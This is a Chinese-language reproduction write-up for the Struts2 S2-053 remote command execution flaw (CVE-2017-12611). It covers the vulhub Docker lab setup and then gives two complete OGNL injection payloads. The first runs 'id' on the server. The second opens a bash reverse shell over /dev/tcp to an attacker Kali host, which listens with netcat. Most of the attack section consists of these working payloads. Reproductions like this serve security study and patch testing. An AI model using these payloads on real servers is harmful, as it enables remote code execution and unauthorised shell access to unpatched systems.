CVE-2017-12611(【S2-053】Struts2远程命令执行漏洞)漏洞复现

一:漏洞描述

Struts2在使用Freemarker模块引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但是由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

二:受影响的版本

Struts 2.0.1-struts 2.3.33
Struts 2.5-Struts 2.5.10

三:环境搭建(192.168.33.144)

1、使用docker搭建环境

cd vulhub/struts2/s2-053

2、一键搭建环境

docker-compose up -d

3、访问:192.168.33.144:8080/hello.action。
CVE-2017-12611(【S2-053】Struts2远程命令执行漏洞)漏洞复现_第1张图片

四:攻击

1、在Your url中写入POC

POC:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

2、点击submit。
CVE-2017-12611(【S2-053】Struts2远程命令执行漏洞)漏洞复现_第2张图片
4、反弹shell,把shell反弹到kali上(kali:192.168.33.146)

nc -lvvp 1234

CVE-2017-12611(【S2-053】Struts2远程命令执行漏洞)漏洞复现_第3张图片
填写POC

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.33.146/1234 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

CVE-2017-12611(【S2-053】Struts2远程命令执行漏洞)漏洞复现_第4张图片
kali上成功反弹shell
CVE-2017-12611(【S2-053】Struts2远程命令执行漏洞)漏洞复现_第5张图片

你可能感兴趣的:(漏洞复现)